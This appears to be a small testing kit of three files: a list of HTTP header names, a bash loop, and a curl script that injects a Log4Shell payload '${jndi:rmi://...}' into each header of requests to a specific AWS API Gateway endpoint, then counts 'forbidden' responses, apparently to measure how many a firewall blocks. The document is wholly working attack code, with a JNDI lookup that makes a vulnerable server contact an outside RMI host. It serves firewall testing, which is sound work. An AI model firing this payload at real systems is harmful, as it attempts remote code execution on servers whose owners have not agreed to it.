headers.txt

Referer
X-Api-Version
Accept-Charset
Accept-Datetime
Accept-Encoding
Accept-Language
Cookie
Forwarded
Forwarded-For
Forwarded-For-Ip
Forwarded-Proto
From
TE
True-Client-IP
Upgrade
User-Agent
Via
Warning
X-Api-Version
Max-Forwards
Origin
Pragma
DNT
Cache-Control
X-Att-Deviceid
X-ATT-DeviceId
X-Correlation-ID
X-Csrf-Token
X-CSRFToken
X-Do-Not-Track
X-Foo
X-Foo-Bar
X-Forwarded
X-Forwarded-By
X-Forwarded-For
X-Forwarded-For-Original
X-Forwarded-Host
X-Forwarded-Port
X-Forwarded-Proto
X-Forwarded-Protocol
X-Forwarded-Scheme
X-Forwarded-Server
X-Forwarded-Ssl
X-Forwarder-For
X-Forward-For
X-Forward-Proto
X-Frame-Options
X-From
X-Geoip-Country
X-Http-Destinationurl
X-Http-Host-Override
X-Http-Method
X-Http-Path-Override
X-Https
X-Htx-Agent
X-Hub-Signature
X-If-Unmodified-Since
X-Imbo-Test-Config
X-Insight
X-Ip
X-Ip-Trail
X-ProxyUser-Ip
X-Requested-With
X-Request-ID
X-UIDH
X-Wap-Profile
X-XSRF-TOKEN

oneline.sh

rm results.txt -f; while IFS= read -r PAYLOAD; do echo "[+] Trying with payload $PAYLOAD" 2>/dev/null; ./req.sh "$PAYLOAD" >> results.txt; done < headers.txt ; i=$(grep -Fi "forbidden" results.txt | wc -l) ; k=$(cat headers.txt | wc -l) ; echo "[+] Total blocks is about $i/$k"

req.sh

#! /usr/bin/env bash

curl --silent "https://8i17duelvl.execute-api.us-east-1.amazonaws.com/dev/pets" \
   -H "$1: \${jndi:rmi://adsasd.asdasd.asdasd}" \
   -H "Content-Type: application/json" | jq .